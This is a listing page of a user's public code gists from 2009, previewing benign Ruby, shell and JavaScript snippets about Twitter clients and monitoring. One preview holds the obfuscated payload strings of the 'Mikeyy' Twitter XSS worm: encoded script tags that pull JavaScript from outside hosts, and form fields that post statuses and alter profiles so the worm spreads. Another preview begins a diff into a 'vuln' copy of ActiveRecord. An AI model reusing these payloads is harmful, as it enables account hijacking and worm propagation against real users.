Public Gists by dacort

Gravatar
Thu Nov 19 09:59:21 -0800 2009
1
2
3
require 'rubygems'
require 'mongo_mapper'
Gravatar
Wed Nov 18 15:35:10 -0800 2009
1
2
3
# Where u is a User object
 
irb(main):033:0> Tweet.all(:user => u)
Gravatar
Fri Nov 13 16:00:48 -0800 2009
1
2
3
1)
'Yajl load should be able to parse from a string' FAILED
 
Gravatar
Fri Nov 13 11:12:00 -0800 2009
1
2
3
irb(main):001:0> require 'rubygems'
=> true
irb(main):002:0> require 'tweetstream'
gist: 228868 A munin script to monitor s...
Gravatar
Sat Nov 07 12:12:09 -0800 2009
1
2
3
#!/usr/bin/env ruby
#
# A munin script to monitor starling queues via starling_top
Gravatar
Fri Jun 12 01:21:12 -0700 2009
1
2
3
require 'icalendear'
require 'csv'
 
gist: 94120 obfuscated second version
Gravatar
Sun Apr 12 12:32:03 -0700 2009
1
2
3
var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "POST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
 
function XHConn(){
Gravatar
Tue Apr 07 14:04:24 -0700 2009
1
2
3
function doSearch(query,page) {
  page = parseInt(page);
  if (!(page > 0)) {
Gravatar
Mon Feb 02 16:05:41 -0800 2009
1
2
3
curl -s http://twitter.com/statuses/user_timeline/dacort.xml?count=750 \
| grep "<text>" | grep twitpic \
| sed -n 's/.*\(twitpic.com\/[^ < ]\{4,5\}\).*/\1/gp' \
Gravatar
Wed Nov 26 15:30:31 -0800 2008
1
2
3
--- activerecord/lib/active_record/base.rb
+++ vuln/activerecord/lib/active_record/base.rb
@@ -358,1 +359,2 @@ module ActiveRecord